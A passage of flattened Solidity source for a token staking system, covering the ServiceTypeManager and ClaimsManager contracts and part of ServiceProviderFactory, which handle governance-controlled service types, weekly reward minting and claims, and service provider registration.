* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"Staking: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
// ========================================= Private Functions =========================================
function _requireClaimsManagerAddressIsSet() private view {
require(claimsManagerAddress != address(0x00), "Staking: claimsManagerAddress is not set");
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"Staking: delegateManagerAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"Staking: serviceProviderFactoryAddress is not set"
);
}
}
// File: contracts/ServiceTypeManager.sol
pragma solidity ^0.5.0;
contract ServiceTypeManager is InitializableV2 {
address governanceAddress;
string private constant ERROR_ONLY_GOVERNANCE = (
"ServiceTypeManager: Only callable by Governance contract"
);
/**
* @dev - mapping of serviceType - serviceTypeVersion
* Example - "discovery-provider" - ["0.0.1", "0.0.2", ..., "currentVersion"]
*/
mapping(bytes32 => bytes32[]) private serviceTypeVersions;
/**
* @dev - mapping of serviceType - < serviceTypeVersion, isValid >
* Example - "discovery-provider" - <"0.0.1", true>
*/
mapping(bytes32 => mapping(bytes32 => bool)) private serviceTypeVersionInfo;
/// @dev List of valid service types
bytes32[] private validServiceTypes;
/// @dev Struct representing service type info
struct ServiceTypeInfo {
bool isValid;
uint256 minStake;
uint256 maxStake;
}
/// @dev mapping of service type info
mapping(bytes32 => ServiceTypeInfo) private serviceTypeInfo;
event SetServiceVersion(
bytes32 indexed _serviceType,
bytes32 indexed _serviceVersion
);
event ServiceTypeAdded(
bytes32 indexed _serviceType,
uint256 indexed _serviceTypeMin,
uint256 indexed _serviceTypeMax
);
event ServiceTypeRemoved(bytes32 indexed _serviceType);
/**
* @notice Function to initialize the contract
* @param _governanceAddress - Governance proxy address
*/
function initialize(address _governanceAddress) public initializer
{
_updateGovernanceAddress(_governanceAddress);
InitializableV2.initialize();
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
}
// ========================================= Service Type Logic =========================================
/**
* @notice Add a new service type
* @param _serviceType - type of service to add
* @param _serviceTypeMin - minimum stake for service type
* @param _serviceTypeMax - maximum stake for service type
*/
function addServiceType(
bytes32 _serviceType,
uint256 _serviceTypeMin,
uint256 _serviceTypeMax
) external
{
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
require(
!this.serviceTypeIsValid(_serviceType),
"ServiceTypeManager: Already known service type"
);
require(
_serviceTypeMax > _serviceTypeMin,
"ServiceTypeManager: Max stake must be non-zero and greater than min stake"
);
// Ensure serviceType cannot be re-added if it previously existed and was removed
// stored maxStake > 0 means it was previously added and removed
require(
serviceTypeInfo[_serviceType].maxStake == 0,
"ServiceTypeManager: Cannot re-add serviceType after it was removed."
);
validServiceTypes.push(_serviceType);
serviceTypeInfo[_serviceType] = ServiceTypeInfo({
isValid: true,
minStake: _serviceTypeMin,
maxStake: _serviceTypeMax
});
emit ServiceTypeAdded(_serviceType, _serviceTypeMin, _serviceTypeMax);
}
/**
* @notice Remove an existing service type
* @param _serviceType - name of service type to remove
*/
function removeServiceType(bytes32 _serviceType) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
uint256 serviceIndex = 0;
bool foundService = false;
for (uint256 i = 0; i < validServiceTypes.length; i ++) {
if (validServiceTypes[i] == _serviceType) {
serviceIndex = i;
foundService = true;
break;
}
}
require(foundService == true, "ServiceTypeManager: Invalid service type, not found");
// Overwrite service index
uint256 lastIndex = validServiceTypes.length - 1;
validServiceTypes[serviceIndex] = validServiceTypes[lastIndex];
validServiceTypes.length--;
// Mark as invalid
serviceTypeInfo[_serviceType].isValid = false;
// Note - stake bounds are not reset so they can be checked to prevent serviceType from being re-added
emit ServiceTypeRemoved(_serviceType);
}
/**
* @notice Get isValid, min and max stake for a given service type
* @param _serviceType - type of service
* @return isValid, min and max stake for type
*/
function getServiceTypeInfo(bytes32 _serviceType)
external view returns (bool isValid, uint256 minStake, uint256 maxStake)
{
_requireIsInitialized();
return (
serviceTypeInfo[_serviceType].isValid,
serviceTypeInfo[_serviceType].minStake,
serviceTypeInfo[_serviceType].maxStake
);
}
/**
* @notice Get list of valid service types
*/
function getValidServiceTypes()
external view returns (bytes32[] memory)
{
_requireIsInitialized();
return validServiceTypes;
}
/**
* @notice Return indicating whether this is a valid service type
*/
function serviceTypeIsValid(bytes32 _serviceType)
external view returns (bool)
{
_requireIsInitialized();
return serviceTypeInfo[_serviceType].isValid;
}
// ========================================= Service Version Logic =========================================
/**
* @notice Add new version for a serviceType
* @param _serviceType - type of service
* @param _serviceVersion - new version of service to add
*/
function setServiceVersion(
bytes32 _serviceType,
bytes32 _serviceVersion
) external
{
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
require(this.serviceTypeIsValid(_serviceType), "ServiceTypeManager: Invalid service type");
require(
serviceTypeVersionInfo[_serviceType][_serviceVersion] == false,
"ServiceTypeManager: Already registered"
);
// Update array of known versions for type
serviceTypeVersions[_serviceType].push(_serviceVersion);
// Update status for this specific service version
serviceTypeVersionInfo[_serviceType][_serviceVersion] = true;
emit SetServiceVersion(_serviceType, _serviceVersion);
}
/**
* @notice Get a version for a service type given it's index
* @param _serviceType - type of service
* @param _versionIndex - index in list of service versions
* @return bytes32 value for serviceVersion
*/
function getVersion(bytes32 _serviceType, uint256 _versionIndex)
external view returns (bytes32)
{
_requireIsInitialized();
require(
serviceTypeVersions[_serviceType].length > _versionIndex,
"ServiceTypeManager: No registered version of serviceType"
);
return (serviceTypeVersions[_serviceType][_versionIndex]);
}
/**
* @notice Get curent version for a service type
* @param _serviceType - type of service
* @return Returns current version of service
*/
function getCurrentVersion(bytes32 _serviceType)
external view returns (bytes32)
{
_requireIsInitialized();
require(
serviceTypeVersions[_serviceType].length >= 1,
"ServiceTypeManager: No registered version of serviceType"
);
uint256 latestVersionIndex = serviceTypeVersions[_serviceType].length - 1;
return (serviceTypeVersions[_serviceType][latestVersionIndex]);
}
/**
* @notice Get total number of versions for a service type
* @param _serviceType - type of service
*/
function getNumberOfVersions(bytes32 _serviceType)
external view returns (uint256)
{
_requireIsInitialized();
return serviceTypeVersions[_serviceType].length;
}
/**
* @notice Return boolean indicating whether given version is valid for given type
* @param _serviceType - type of service
* @param _serviceVersion - version of service to check
*/
function serviceVersionIsValid(bytes32 _serviceType, bytes32 _serviceVersion)
external view returns (bool)
{
_requireIsInitialized();
return serviceTypeVersionInfo[_serviceType][_serviceVersion];
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"ServiceTypeManager: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
}
// File: contracts/ClaimsManager.sol
pragma solidity ^0.5.0;
/// @notice ERC20 imported via Staking.sol
/// @notice SafeERC20 imported via Staking.sol
/// @notice Governance imported via Staking.sol
/// @notice SafeMath imported via ServiceProviderFactory.sol
/**
* Designed to automate claim funding, minting tokens as necessary
* @notice - will call InitializableV2 constructor
*/
contract ClaimsManager is InitializableV2 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
string private constant ERROR_ONLY_GOVERNANCE = (
"ClaimsManager: Only callable by Governance contract"
);
address private governanceAddress;
address private stakingAddress;
address private serviceProviderFactoryAddress;
address private delegateManagerAddress;
/**
* @notice - Minimum number of blocks between funding rounds
* 604800 seconds / week
* Avg block time - 13s
* 604800 / 13 = 46523.0769231 blocks
*/
uint256 private fundingRoundBlockDiff;
/**
* @notice - Configures the current funding amount per round
* Weekly rounds, 7% PA inflation = 70,000,000 new tokens in first year
* = 70,000,000/365*7 (year is slightly more than a week)
* = 1342465.75342 new AUDS per week
* = 1342465753420000000000000 new wei units per week
* @dev - Past a certain block height, this schedule will be updated
* - Logic determining schedule will be sourced from an external contract
*/
uint256 private fundingAmount;
// Denotes current round
uint256 private roundNumber;
// Staking contract ref
ERC20Mintable private audiusToken;
/// @dev - Address to which recurringCommunityFundingAmount is transferred at funding round start
address private communityPoolAddress;
/// @dev - Reward amount transferred to communityPoolAddress at funding round start
uint256 private recurringCommunityFundingAmount;
// Struct representing round state
// 1) Block at which round was funded
// 2) Total funded for this round
// 3) Total claimed in round
struct Round {
uint256 fundedBlock;
uint256 fundedAmount;
uint256 totalClaimedInRound;
}
// Current round information
Round private currentRound;
event RoundInitiated(
uint256 indexed _blockNumber,
uint256 indexed _roundNumber,
uint256 indexed _fundAmount
);
event ClaimProcessed(
address indexed _claimer,
uint256 indexed _rewards,
uint256 _oldTotal,
uint256 indexed _newTotal
);
event CommunityRewardsTransferred(
address indexed _transferAddress,
uint256 indexed _amount
);
event FundingAmountUpdated(uint256 indexed _amount);
event FundingRoundBlockDiffUpdated(uint256 indexed _blockDifference);
event GovernanceAddressUpdated(address indexed _newGovernanceAddress);
event StakingAddressUpdated(address indexed _newStakingAddress);
event ServiceProviderFactoryAddressUpdated(address indexed _newServiceProviderFactoryAddress);
event DelegateManagerAddressUpdated(address indexed _newDelegateManagerAddress);
event RecurringCommunityFundingAmountUpdated(uint256 indexed _amount);
event CommunityPoolAddressUpdated(address indexed _newCommunityPoolAddress);
/**
* @notice Function to initialize the contract
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed
* @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed
* @param _tokenAddress - address of ERC20 token that will be claimed
* @param _governanceAddress - address for Governance proxy contract
*/
function initialize(
address _tokenAddress,
address _governanceAddress
) public initializer
{
_updateGovernanceAddress(_governanceAddress);
audiusToken = ERC20Mintable(_tokenAddress);
fundingRoundBlockDiff = 46523;
fundingAmount = 1342465753420000000000000; // 1342465.75342 AUDS
roundNumber = 0;
currentRound = Round({
fundedBlock: 0,
fundedAmount: 0,
totalClaimedInRound: 0
});
// Community pool funding amount and address initialized to zero
recurringCommunityFundingAmount = 0;
communityPoolAddress = address(0x0);
InitializableV2.initialize();
}
/// @notice Get the duration of a funding round in blocks
function getFundingRoundBlockDiff() external view returns (uint256)
{
_requireIsInitialized();
return fundingRoundBlockDiff;
}
/// @notice Get the last block where a funding round was initiated
function getLastFundedBlock() external view returns (uint256)
{
_requireIsInitialized();
return currentRound.fundedBlock;
}
/// @notice Get the amount funded per round in wei
function getFundsPerRound() external view returns (uint256)
{
_requireIsInitialized();
return fundingAmount;
}
/// @notice Get the total amount claimed in the current round
function getTotalClaimedInRound() external view returns (uint256)
{
_requireIsInitialized();
return currentRound.totalClaimedInRound;
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/**
* @notice Get the Staking address
*/
function getStakingAddress() external view returns (address)
{
_requireIsInitialized();
return stakingAddress;
}
/**
* @notice Get the community pool address
*/
function getCommunityPoolAddress() external view returns (address)
{
_requireIsInitialized();
return communityPoolAddress;
}
/**
* @notice Get the community funding amount
*/
function getRecurringCommunityFundingAmount() external view returns (uint256)
{
_requireIsInitialized();
return recurringCommunityFundingAmount;
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
emit GovernanceAddressUpdated(_governanceAddress);
}
/**
* @notice Set the Staking address
* @dev Only callable by Governance address
* @param _stakingAddress - address for new Staking contract
*/
function setStakingAddress(address _stakingAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
stakingAddress = _stakingAddress;
emit StakingAddressUpdated(_stakingAddress);
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by Governance address
* @param _serviceProviderFactoryAddress - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _serviceProviderFactoryAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceProviderFactoryAddress = _serviceProviderFactoryAddress;
emit ServiceProviderFactoryAddressUpdated(_serviceProviderFactoryAddress);
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by Governance address
* @param _delegateManagerAddress - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _delegateManagerAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
delegateManagerAddress = _delegateManagerAddress;
emit DelegateManagerAddressUpdated(_delegateManagerAddress);
}
/**
* @notice Start a new funding round
* @dev Permissioned to be callable by stakers or governance contract
*/
function initiateRound() external {
_requireIsInitialized();
_requireStakingAddressIsSet();
require(
block.number.sub(currentRound.fundedBlock) > fundingRoundBlockDiff,
"ClaimsManager: Required block difference not met"
);
currentRound = Round({
fundedBlock: block.number,
fundedAmount: fundingAmount,
totalClaimedInRound: 0
});
roundNumber = roundNumber.add(1);
/*
* Transfer community funding amount to community pool address, if set
*/
if (recurringCommunityFundingAmount > 0 && communityPoolAddress != address(0x0)) {
// ERC20Mintable always returns true
audiusToken.mint(address(this), recurringCommunityFundingAmount);
// Approve transfer to community pool address
audiusToken.approve(communityPoolAddress, recurringCommunityFundingAmount);
// Transfer to community pool address
ERC20(address(audiusToken)).safeTransfer(communityPoolAddress, recurringCommunityFundingAmount);
emit CommunityRewardsTransferred(communityPoolAddress, recurringCommunityFundingAmount);
}
emit RoundInitiated(
currentRound.fundedBlock,
roundNumber,
currentRound.fundedAmount
);
}
/**
* @notice Mints and stakes tokens on behalf of ServiceProvider + delegators
* @dev Callable through DelegateManager by Service Provider
* @param _claimer - service provider address
* @param _totalLockedForSP - amount of tokens locked up across DelegateManager + ServiceProvider
* @return minted rewards for this claimer
*/
function processClaim(
address _claimer,
uint256 _totalLockedForSP
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
require(
msg.sender == delegateManagerAddress,
"ClaimsManager: ProcessClaim only accessible to DelegateManager"
);
Staking stakingContract = Staking(stakingAddress);
// Prevent duplicate claim
uint256 lastUserClaimBlock = stakingContract.lastClaimedFor(_claimer);
require(
lastUserClaimBlock <= currentRound.fundedBlock,
"ClaimsManager: Claim already processed for user"
);
uint256 totalStakedAtFundBlockForClaimer = stakingContract.totalStakedForAt(
_claimer,
currentRound.fundedBlock);
(,,bool withinBounds,,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(_claimer)
);
// Once they claim the zero reward amount, stake can be modified once again
// Subtract total locked amount for SP from stake at fund block
uint256 totalActiveClaimerStake = totalStakedAtFundBlockForClaimer.sub(_totalLockedForSP);
uint256 totalStakedAtFundBlock = stakingContract.totalStakedAt(currentRound.fundedBlock);
// Calculate claimer rewards
uint256 rewardsForClaimer = (
totalActiveClaimerStake.mul(fundingAmount)
).div(totalStakedAtFundBlock);
// For a claimer violating bounds, no new tokens are minted
// Claim history is marked to zero and function is short-circuited
// Total rewards can be zero if all stake is currently locked up
if (!withinBounds || rewardsForClaimer == 0) {
stakingContract.updateClaimHistory(0, _claimer);
emit ClaimProcessed(
_claimer,
0,
totalStakedAtFundBlockForClaimer,
totalActiveClaimerStake
);
return 0;
}
// ERC20Mintable always returns true
audiusToken.mint(address(this), rewardsForClaimer);
// Approve transfer to staking address for claimer rewards
// ERC20 always returns true
audiusToken.approve(stakingAddress, rewardsForClaimer);
// Transfer rewards
stakingContract.stakeRewards(rewardsForClaimer, _claimer);
// Update round claim value
currentRound.totalClaimedInRound = currentRound.totalClaimedInRound.add(rewardsForClaimer);
// Update round claim value
uint256 newTotal = stakingContract.totalStakedFor(_claimer);
emit ClaimProcessed(
_claimer,
rewardsForClaimer,
totalStakedAtFundBlockForClaimer,
newTotal
);
return rewardsForClaimer;
}
/**
* @notice Modify funding amount per round
* @param _newAmount - new amount to fund per round in wei
*/
function updateFundingAmount(uint256 _newAmount) external
{
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
fundingAmount = _newAmount;
emit FundingAmountUpdated(_newAmount);
}
/**
* @notice Returns boolean indicating whether a claim is considered pending
* @dev Note that an address with no endpoints can never have a pending claim
* @param _sp - address of the service provider to check
* @return true if eligible for claim, false if not
*/
function claimPending(address _sp) external view returns (bool) {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
uint256 lastClaimedForSP = Staking(stakingAddress).lastClaimedFor(_sp);
(,,,uint256 numEndpoints,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(_sp)
);
return (lastClaimedForSP < currentRound.fundedBlock && numEndpoints > 0);
}
/**
* @notice Modify minimum block difference between funding rounds
* @param _newFundingRoundBlockDiff - new min block difference to set
*/
function updateFundingRoundBlockDiff(uint256 _newFundingRoundBlockDiff) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
emit FundingRoundBlockDiffUpdated(_newFundingRoundBlockDiff);
fundingRoundBlockDiff = _newFundingRoundBlockDiff;
}
/**
* @notice Modify community funding amound for each round
* @param _newRecurringCommunityFundingAmount - new reward amount transferred to
* communityPoolAddress at funding round start
*/
function updateRecurringCommunityFundingAmount(
uint256 _newRecurringCommunityFundingAmount
) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
recurringCommunityFundingAmount = _newRecurringCommunityFundingAmount;
emit RecurringCommunityFundingAmountUpdated(_newRecurringCommunityFundingAmount);
}
/**
* @notice Modify community pool address
* @param _newCommunityPoolAddress - new address to which recurringCommunityFundingAmount
* is transferred at funding round start
*/
function updateCommunityPoolAddress(address _newCommunityPoolAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
communityPoolAddress = _newCommunityPoolAddress;
emit CommunityPoolAddressUpdated(_newCommunityPoolAddress);
}
// ========================================= Private Functions =========================================
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) private {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"ClaimsManager: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
function _requireStakingAddressIsSet() private view {
require(stakingAddress != address(0x00), "ClaimsManager: stakingAddress is not set");
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"ClaimsManager: delegateManagerAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"ClaimsManager: serviceProviderFactoryAddress is not set"
);
}
}
// File: contracts/ServiceProviderFactory.sol
pragma solidity ^0.5.0;
/// @notice Governance imported via Staking.sol
contract ServiceProviderFactory is InitializableV2 {
using SafeMath for uint256;
/// @dev - denominator for deployer cut calculations
/// @dev - user values are intended to be x/DEPLOYER_CUT_BASE
uint256 private constant DEPLOYER_CUT_BASE = 100;
string private constant ERROR_ONLY_GOVERNANCE = (
"ServiceProviderFactory: Only callable by Governance contract"
);
string private constant ERROR_ONLY_SP_GOVERNANCE = (
"ServiceProviderFactory: Only callable by Service Provider or Governance"
);
address private stakingAddress;
address private delegateManagerAddress;
address private governanceAddress;
address private serviceTypeManagerAddress;
address private claimsManagerAddress;
/// @notice Period in blocks that a decrease stake operation is delayed.
/// Must be greater than governance votingPeriod + executionDelay in order to
/// prevent pre-emptive withdrawal in anticipation of a slash proposal
uint256 private decreaseStakeLockupDuration;
/// @notice Period in blocks that an update deployer cut operation is delayed.
/// Must be greater than funding round block diff in order
/// to prevent manipulation around a funding round
uint256 private deployerCutLockupDuration;
/// @dev - Stores following entities
/// 1) Directly staked amount by SP, not including delegators
/// 2) % Cut of delegator tokens taken during reward
/// 3) Bool indicating whether this SP has met min/max requirements
/// 4) Number of endpoints registered by SP
/// 5) Minimum deployer stake for this service provider
/// 6) Maximum total stake for this account
struct ServiceProviderDetails {
uint256 deployerStake;
uint256 deployerCut;
bool validBounds;
uint256 numberOfEndpoints;
uint256 minAccountStake;
uint256 maxAccountStake;
}
/// @dev - Data structure for time delay during withdrawal
struct DecreaseStakeRequest {
uint256 decreaseAmount;
uint256 lockupExpiryBlock;
}
/// @dev - Data structure for time delay during deployer cut update
struct UpdateDeployerCutRequest {
uint256 newDeployerCut;
uint256 lockupExpiryBlock;
}
/// @dev - Struct maintaining information about sp
/// @dev - blocknumber is block.number when endpoint registered
struct ServiceEndpoint {
address owner;
string endpoint;
uint256 blocknumber;
address delegateOwnerWallet;
}
/// @dev - Mapping of service provider address to details
mapping(address => ServiceProviderDetails) private spDetails;
/// @dev - Uniquely assigned serviceProvider ID, incremented for each service type
/// @notice - Keeps track of the total number of services registered regardless of
/// whether some have been deregistered since
mapping(bytes32 => uint256) private serviceProviderTypeIDs;
/// @dev - mapping of (serviceType -> (serviceInstanceId <-> serviceProviderInfo))
/// @notice - stores the actual service provider data like endpoint and owner wallet
/// with the ability lookup by service type and service id */
mapping(bytes32 => mapping(uint256 => ServiceEndpoint)) private serviceProviderInfo;
/// @dev - mapping of keccak256(endpoint) to uint256 ID
/// @notice - used to check if a endpoint has already been registered and also lookup
/// the id of an endpoint
mapping(bytes32 => uint256) private serviceProviderEndpointToId;
/// @dev - mapping of address -> sp id array */
/// @notice - stores all the services registered by a provider. for each address,
/// provides the ability to lookup by service type and see all registered services
mapping(address => mapping(bytes32 => uint256[])) private serviceProviderAddressToId;
/// @dev - Mapping of service provider -> decrease stake request
mapping(address => DecreaseStakeRequest) private decreaseStakeRequests;
/// @dev - Mapping of service provider -> update deployer cut requests
mapping(address => UpdateDeployerCutRequest) private updateDeployerCutRequests;
event RegisteredServiceProvider(
uint256 indexed _spID,
bytes32 indexed _serviceType,
address indexed _owner,
string _endpoint,
uint256 _stakeAmount
);
event DeregisteredServiceProvider(
uint256 indexed _spID,
bytes32 indexed _serviceType,
address indexed _owner,
string _endpoint,
uint256 _unstakeAmount
);
event IncreasedStake(
address indexed _owner,
uint256 indexed _increaseAmount,
uint256 indexed _newStakeAmount
);
event DecreaseStakeRequested(
address indexed _owner,
uint256 indexed _decreaseAmount,
uint256 indexed _lockupExpiryBlock
);
event DecreaseStakeRequestCancelled(
address indexed _owner,
uint256 indexed _decreaseAmount,
uint256 indexed _lockupExpiryBlock
);
event DecreaseStakeRequestEvaluated(
address indexed _owner,
uint256 indexed _decreaseAmount,
uint256 indexed _newStakeAmount
);
event EndpointUpdated(
bytes32 indexed _serviceType,
address indexed _owner,
string _oldEndpoint,
string _newEndpoint,
uint256 indexed _spID
);
event DelegateOwnerWalletUpdated(
address indexed _owner,
bytes32 indexed _serviceType,
uint256 indexed _spID,
address _updatedWallet
);
event DeployerCutUpdateRequested(
address indexed _owner,
uint256 indexed _updatedCut,
uint256 indexed _lockupExpiryBlock
);
event DeployerCutUpdateRequestCancelled(
address indexed _owner,
uint256 indexed _requestedCut,
uint256 indexed _finalCut
);
event DeployerCutUpdateRequestEvaluated(
address indexed _owner,
uint256 indexed _updatedCut
);
event DecreaseStakeLockupDurationUpdated(uint256 indexed _lockupDuration);
event UpdateDeployerCutLockupDurationUpdated(uint256 indexed _lockupDuration);
event GovernanceAddressUpdated(address indexed _newGovernanceAddress);
event StakingAddressUpdated(address indexed _newStakingAddress);
event ClaimsManagerAddressUpdated(address indexed _newClaimsManagerAddress);
event DelegateManagerAddressUpdated(address indexed _newDelegateManagerAddress);
event ServiceTypeManagerAddressUpdated(address indexed _newServiceTypeManagerAddress);
/**
* @notice Function to initialize the contract
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed
* @dev serviceTypeManagerAddress must be initialized separately after ServiceTypeManager contract is deployed
* @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed
* @param _governanceAddress - Governance proxy address
*/
function initialize (
address _governanceAddress,
address _claimsManagerAddress,
uint256 _decreaseStakeLockupDuration,
uint256 _deployerCutLockupDuration
) public initializer
{
_updateGovernanceAddress(_governanceAddress);
claimsManagerAddress = _claimsManagerAddress;
_updateDecreaseStakeLockupDuration(_decreaseStakeLockupDuration);
_updateDeployerCutLockupDuration(_deployerCutLockupDuration);
InitializableV2.initialize();
}
/**
* @notice Register a new endpoint to the account of msg.sender
* @dev Transfers stake from service provider into staking pool
* @param _serviceType - type of service to register, must be valid in ServiceTypeManager
* @param _endpoint - url of the service to register - url of the service to register
* @param _stakeAmount - amount to stake, must be within bounds in ServiceTypeManager
* @param _delegateOwnerWallet - wallet to delegate some permissions for some basic management properties
* @return New service provider ID for this endpoint
*/
function register(
bytes32 _serviceType,
string calldata _endpoint,
uint256 _stakeAmount,
address _delegateOwnerWallet
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceTypeManagerAddressIsSet();
_requireClaimsManagerAddressIsSet();
require(
ServiceTypeManager(serviceTypeManagerAddress).serviceTypeIsValid(_serviceType),
"ServiceProviderFactory: Valid service type required");
// Stake token amount from msg.sender
if (_stakeAmount > 0) {
require(
!_claimPending(msg.sender),
"ServiceProviderFactory: No pending claim expected"
);
Staking(stakingAddress).stakeFor(msg.sender, _stakeAmount);
}
require (
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] == 0,
"ServiceProviderFactory: Endpoint already registered");
uint256 newServiceProviderID = serviceProviderTypeIDs[_serviceType].add(1);
serviceProviderTypeIDs[_serviceType] = newServiceProviderID;
// Index spInfo
serviceProviderInfo[_serviceType][newServiceProviderID] = ServiceEndpoint({
owner: msg.sender,
endpoint: _endpoint,
blocknumber: block.number,
delegateOwnerWallet: _delegateOwnerWallet
});
// Update endpoint mapping
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] = newServiceProviderID;
// Update (address -> type -> ids[])
serviceProviderAddressToId[msg.sender][_serviceType].push(newServiceProviderID);
// Increment number of endpoints for this address
spDetails[msg.sender].numberOfEndpoints = spDetails[msg.sender].numberOfEndpoints.add(1);
// Update deployer total
spDetails[msg.sender].deployerStake = (
spDetails[msg.sender].deployerStake.add(_stakeAmount)
);
// Update min and max totals for this service provider
(, uint256 typeMin, uint256 typeMax) = ServiceTypeManager(
serviceTypeManagerAddress
).getServiceTypeInfo(_serviceType);
spDetails[msg.sender].minAccountStake = spDetails[msg.sender].minAccountStake.add(typeMin);
spDetails[msg.sender].maxAccountStake = spDetails[msg.sender].maxAccountStake.add(typeMax);
// Confirm both aggregate account balance and directly staked amount are valid
this.validateAccountStakeBalance(msg.sender);
uint256 currentlyStakedForOwner = Staking(stakingAddress).totalStakedFor(msg.sender);
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
emit RegisteredServiceProvider(
newServiceProviderID,
_serviceType,
msg.sender,
_endpoint,
currentlyStakedForOwner
);
return newServiceProviderID;
}
/**
* @notice Deregister an endpoint from the account of msg.sender
* @dev Unstakes all tokens for service provider if this is the last endpoint
* @param _serviceType - type of service to deregister
* @param _endpoint - endpoint to deregister
* @return spId of the service that was deregistered
*/
function deregister(
bytes32 _serviceType,
string calldata _endpoint
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceTypeManagerAddressIsSet();
// Unstake on deregistration if and only if this is the last service endpoint
uint256 unstakeAmount = 0;
bool unstaked = false;
// owned by the service provider
if (spDetails[msg.sender].numberOfEndpoints == 1) {
unstakeAmount = spDetails[msg.sender].deployerStake;
// Submit request to decrease stake, overriding any pending request
decreaseStakeRequests[msg.sender] = DecreaseStakeRequest({
decreaseAmount: unstakeAmount,
lockupExpiryBlock: block.number.add(decreaseStakeLockupDuration)
});
unstaked = true;
}
require (
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] != 0,
"ServiceProviderFactory: Endpoint not registered");
// Cache invalided service provider ID
uint256 deregisteredID = serviceProviderEndpointToId[keccak256(bytes(_endpoint))];
// Update endpoint mapping
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] = 0;
require(
keccak256(bytes(serviceProviderInfo[_serviceType][deregisteredID].endpoint)) == keccak256(bytes(_endpoint)),
"ServiceProviderFactory: Invalid endpoint for service type");
require (
serviceProviderInfo[_serviceType][deregisteredID].owner == msg.sender,
"ServiceProviderFactory: Only callable by endpoint owner");
// Update info mapping
delete serviceProviderInfo[_serviceType][deregisteredID];
// Reset id, update array
uint256 spTypeLength = serviceProviderAddressToId[msg.sender][_serviceType].length;
for (uint256 i = 0; i < spTypeLength; i ++) {
if (serviceProviderAddressToId[msg.sender][_serviceType][i] == deregisteredID) {
// Overwrite element to be deleted with last element in array
serviceProviderAddressToId[msg.sender][_serviceType][i] = serviceProviderAddressToId[msg.sender][_serviceType][spTypeLength - 1];
// Reduce array size, exit loop
serviceProviderAddressToId[msg.sender][_serviceType].length--;
// Confirm this ID has been found for the service provider
break;
}
}
